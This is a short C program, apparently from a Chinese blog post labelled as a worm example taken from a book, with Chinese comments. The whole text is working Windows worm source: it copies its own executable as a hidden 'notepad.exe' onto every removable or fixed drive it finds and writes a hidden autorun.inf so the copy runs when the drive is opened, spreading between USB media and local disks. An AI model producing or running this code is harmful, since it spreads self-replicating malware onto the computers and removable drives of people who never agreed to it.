/* 蠕虫 示例
* Written by noexcept
* (Reference From Book)
*/
#include <windows.h>
char szAutoRun[] = "[AutoRun] \n"
"open=notepad.exe\n"
"shell\\open=打开(&O)\n"
"shell\\open\\command=notepad.exe\n"
"shell\\explore=资源管理器(&X)\n"
"shell\\explore\\command=notepad.exe\n"
"shellexecute=notepad.exe\n"
"shell\\Auto\\command=notepad.exe"; //AUTORUN.INF 内容
void infect(char* pszFile,UINT uDriveType)
{ //感染
char szDriveString[MAXBYTE] = {0};
DWORD dwRet = 0; //总量
DWORD iNum = 0;
char szRoot[4] = {0};
UINT uType = 0;
char szTarget[MAX_PATH] = {0};
dwRet = GetLogicalDriveStrings(MAXBYTE,szDriveString); //遍历驱动器
while(iNum < dwRet)
{
strncpy(szRoot,&szDriveString[iNum],3);
uType = GetDriveType(szRoot); //驱动器类型
if(uType == uDriveType) //目标明确
{
lstrcpy(szTarget,szRoot);
lstrcat(szTarget,"notepad.exe");
CopyFile(pszFile,szTarget,FALSE); //复制;C盘可能需要管理员权限
SetFileAttributes(szTarget,FILE_ATTRIBUTE_HIDDEN); //隐藏之
lstrcpy(szTarget,szRoot);
lstrcat(szTarget,"autorun.inf");
HANDLE hFile = CreateFile(szTarget,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
DWORD dwWritten = 0;
WriteFile(hFile,szAutoRun,lstrlen(szAutoRun),&dwWritten,NULL); //写autorun.inf
CloseHandle(hFile);
SetFileAttributes(szTarget,FILE_ATTRIBUTE_HIDDEN); //隐藏之
}
iNum += 4;
}
}
int main()
{
char szFileName[MAX_PATH] = {0};
char szRoot[4] = {0};
UINT uType = 0;
GetModuleFileName(NULL,szFileName,MAX_PATH); //当前绝对路径
strncpy(szRoot,szFileName,3); //Like "C:\\"
uType = GetDriveType(szRoot); //驱动器类型
switch(uType)
{
case DRIVE_FIXED:{ //本地磁盘
infect(szFileName,DRIVE_REMOVABLE); //去检查可移动磁盘
break;
}
case DRIVE_REMOVABLE:{ //可移动磁盘
infect(szFileName,DRIVE_FIXED); //去定居本地磁盘
break;
}
}
return 0;
}
蠕虫病毒案例
最新推荐文章于 2025-05-10 09:55:35 发布